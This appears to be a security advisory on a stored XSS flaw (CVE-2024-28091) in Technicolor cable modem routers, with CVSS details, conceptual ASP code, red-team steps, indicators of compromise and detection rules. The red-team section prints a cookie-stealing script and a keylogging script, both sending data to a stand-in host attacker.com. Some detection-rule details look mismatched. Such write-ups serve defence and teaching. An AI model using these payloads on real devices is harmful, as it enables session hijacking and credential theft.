CVE-2024-28091

Executive Summary

CVE-2024-28091 is a stored Cross-Site Scripting (XSS) vulnerability affecting the Technicolor TC8715D and TC8717T cable modem/router devices. The flaw resides in the managed_services_add.asp endpoint, where the "User Defined Service" input is not properly sanitized. An attacker within Wi-Fi proximity can inject malicious JavaScript that persists on the device. The attack requires a victim to click an "X" (delete button) to trigger the payload. With a CVSS score of 0.0 (unscored) but a clear attack vector, this vulnerability poses a significant risk to home and small office networks using these devices. No official patch is currently available, making mitigation through network segmentation and monitoring critical.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Adjacent Network (AV:A) – Requires Wi-Fi proximity.
• Attack Complexity (AC): Low (AC:L) – No special conditions needed.
• Privileges Required (PR): None (PR:N) – No authentication needed.
• User Interaction (UI): Required (UI:R) – Victim must click the delete button.
• Scope (S): Changed (S:C) – The injected script can affect other resources.
• Confidentiality (C): Low (C:L) – Limited data exposure.
• Integrity (I): Low (I:L) – Limited modification of content.
• Availability (A): None (A:N) – No direct impact on availability.

Threat Level: Medium. The attack is limited to Wi-Fi range but requires no credentials. The stored XSS can be used to steal session cookies, redirect users, or perform actions on the device's web interface.

Deep Dive & Mechanics

The vulnerability exists in the managed_services_add.asp page, which allows users to define custom services for port forwarding or firewall rules. The "User Defined Service" field is stored in the device's configuration without proper output encoding. When the victim views the list of services and clicks the "X" (delete) button, the stored script executes in the context of the web interface.

Attack Flow:

1. Attacker connects to the victim's Wi-Fi network.
2. Attacker navigates to http://<router-ip>/managed_services_add.asp.
3. Attacker injects a malicious payload into the "User Defined Service" field (e.g., <script>alert('XSS')</script>).
4. The payload is stored on the device.
5. Victim logs into the router's web interface and views the services list.
6. Victim clicks the "X" button to delete a service.
7. The stored script executes, potentially stealing cookies or performing actions.

Root Cause: Lack of input sanitization and output encoding in the managed_services_add.asp endpoint.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

<%
Dim serviceName
serviceName = Request.Form("UserDefinedService")
' No sanitization
Response.Write("<tr><td>" & serviceName & "</td><td><a href='delete.asp?id=" & serviceID & "'>X</a></td></tr>")
%>

Patched Code (Conceptual):

<%
Dim serviceName
serviceName = Request.Form("UserDefinedService")
' Sanitize input
serviceName = Server.HTMLEncode(serviceName)
Response.Write("<tr><td>" & serviceName & "</td><td><a href='delete.asp?id=" & serviceID & "'>X</a></td></tr>")
%>

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A Technicolor TC8715D or TC8717T device with firmware version TC8715D-01.EF.04.38.00-180405-S-FF9-D.
• Attacker machine within Wi-Fi range (e.g., Kali Linux).
• Victim machine connected to the same Wi-Fi network.

Steps:

1. Connect to the target Wi-Fi network.
2. Open a browser and navigate to http://192.168.0.1/managed_services_add.asp (adjust IP as needed).
3. In the "User Defined Service" field, inject the following payload:

   <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Click "Add" to store the payload.
5. Wait for the victim to log into the router and click the "X" button next to the malicious service.
6. The victim's cookies are exfiltrated to attacker.com/steal.php.

Alternative Payload (Keylogging):

<script>
document.onkeypress = function(e) {
    var xhr = new XMLHttpRequest();
    xhr.open('POST', 'http://attacker.com/log.php');
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.send('key=' + e.key);
}
</script>

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor HTTP requests to managed_services_add.asp for unusual parameters.
2. Look for <script> tags or event handlers in POST data.
3. Check router logs for unauthorized configuration changes.
4. Use network monitoring tools to detect outbound connections to unknown IPs.

Mitigation:

• Disable remote management and Wi-Fi access to the router's web interface.
• Use a separate VLAN for IoT devices.
• Apply network segmentation to limit exposure.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /managed_services_add.asp with UserDefinedService containing <script> tags.
  • Outbound connections from the router to unknown IPs on port 80/443.
  • Unusual DNS queries to domains associated with data exfiltration.

• Host IOCs:

  • Presence of unexpected services in the router's "User Defined Service" list.
  • Modified router configuration without user action.

• File IOCs:

  • N/A (embedded device, no file system access).

Detection Engineering

YARA Rule

rule CVE_2024_28091_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads targeting Technicolor TC8715D"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-28091"
    strings:
        $payload1 = "<script>" ascii wide nocase
        $payload2 = "onerror=" ascii wide nocase
        $payload3 = "onload=" ascii wide nocase
        $payload4 = "javascript:" ascii wide nocase
    condition:
        any of ($payload*) and filesize < 10KB
}

Sigma Rule

title: Stored XSS in Technicolor TC8715D managed_services_add.asp
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to managed_services_add.asp with XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/managed_services_add.asp'
        cs-uri-query|contains: 'UserDefinedService'
    keywords:
        - '<script>'
        - 'onerror='
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in service names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-28091 Stored XSS in Technicolor TC8715D"; flow:to_server,established; content:"POST"; http_method; content:"/managed_services_add.asp"; http_uri; content:"UserDefinedService"; http_client_body; pcre:"/(<script|onerror=|onload=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Wi-Fi access to the router's web interface – Use a wired connection for administration.
2. Change default admin credentials – Prevent unauthorized access.
3. Enable HTTPS – If supported, to encrypt management traffic.
4. Monitor logs – Check for unauthorized configuration changes.

Long-Term Solutions:

• Firmware Update – Contact Technicolor for a patch. If unavailable, consider replacing the device.
• Network Segmentation – Place the router on a separate VLAN from critical assets.
• Web Application Firewall (WAF) – Deploy a WAF to filter malicious requests.

Workaround:

• Block access to managed_services_add.asp via firewall rules if not needed.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert